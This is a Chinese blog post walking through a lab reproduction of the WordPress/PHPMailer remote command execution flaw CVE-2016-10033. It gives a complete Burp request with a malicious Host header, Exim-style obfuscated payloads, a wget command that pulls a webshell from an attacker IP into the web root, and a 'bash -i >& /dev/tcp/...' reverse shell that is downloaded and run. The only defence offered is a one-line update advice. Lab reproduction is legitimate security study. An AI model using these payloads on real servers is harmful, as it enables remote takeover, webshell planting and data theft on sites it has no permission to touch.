• wordpress漏洞复现


    简介

    2021年7月21日。

    参考链接:

    官网:https://wordpress.org/download/

    百科:https://baike.baidu.com/item/WordPress/450615?fr=aladdin

    WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。
    WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。
    WordPress有许多第三方开发的免费模板,安装方式简单易用。不过要做一个自己的模板,则需要你有一定的专业知识。比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
    WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

    pwnscriptum(CVE-2016-10033)

    参考链接:

    WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

    漏洞利用条件:

    • 不能包含特殊字符
    • 命令需为小写
    • 命令需使用绝对路径
    • 需要知道现有用户名

    注意点:命令只在服务器端执行命令、不会显示在客户端

    漏洞影响版本:

    • WordPress <= 4.6 PHPMailer < 5.2.18

    以上内容为复制粘贴。

    需要注意的是:

    参考链接:

    1. payload中run{}里面所有 /${substr{0}{1}{$spool_directory}} 代替
    2. payload中run{}里面所有 空格${substr{10}{1}{$tod_log}} 代替

    payload:

    aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)

    漏洞复现

    启动环境,按照所需信息完成wordpress的安装。记住注册用户的名称。

    漏洞位置在密码重置界面/wp-login.php?action=lostpassword,在找回密码时WordPress会使用PHPmailer发送重置密码邮件,这个时候PHPmailer<=5.2.18时存在RCE。

    登录页点击忘记密码,在用户名或电子邮件地址输入框输入root(我注册时填的是root)。点击获取新密码,使用burp拦截抓包。

    修改请求头Host的值:

    POST /wp-login.php?action=lostpassword HTTP/1.1
    Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
    Content-Length: 84
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://139.198.172.202:8080
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1626831956
    Connection: close
    
    user_login=root&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
    

    注意,需要将Host的值完全修改为payload,不再包含IP地址。

    写入webshell

    利用的是curlwget命令下载远程文件,比如下载一个webshell,再用webshell工具连接。注意:

    • 远程 URL 中不能有 http://
    • 所有字母必须小写
    aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
    

    上面的payload意思是:从139.198.172.202这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为shell.php

    b

    查看shell.php是否写入成功。

    蚁剑连接:

    反弹shell

    利用的思想跟写入webshell差不多,是先使用curlwget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的。

    利用步骤:

    1. 发送payload使靶机下载1.txt,并保存到/tmp/shell
    2. 在攻击机上监听9999端口
    3. 发送payload使靶机运行shell

    bash -i >& /dev/tcp/139.198.172.202/9999 0>&1写入到攻击机1.txt中。

    发送payload,下载1.txt到靶机/tmp/shell

    aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
    

    攻击端监听9999端口。

    发送payload运行shell:

    原:aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
    
    aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
    

    漏洞修复

    • 更新wordpress、phpmailer到最新版本
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    sqlserver查询当前库下,一张表的表名,字段名,字段类型,字段长度
    JAVA将汉字转换为全拼以及返回中文的首字母,将字符串转移为ASCII码
    Springmvc 简单入门1
    第一篇,java学习之旅
    基于html5,父级块中添加video,不能全屏播放的问题解决。
    windows10 jdk8下载与安装
    R 安装 Bioconductor 的网络连接问题
    R 内存管理问题
    MCMC sampling 【转】
    最大似然估计(Maximum likelihood estimation)【转】
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15038658.html
Copyright © 2020-2023  润新知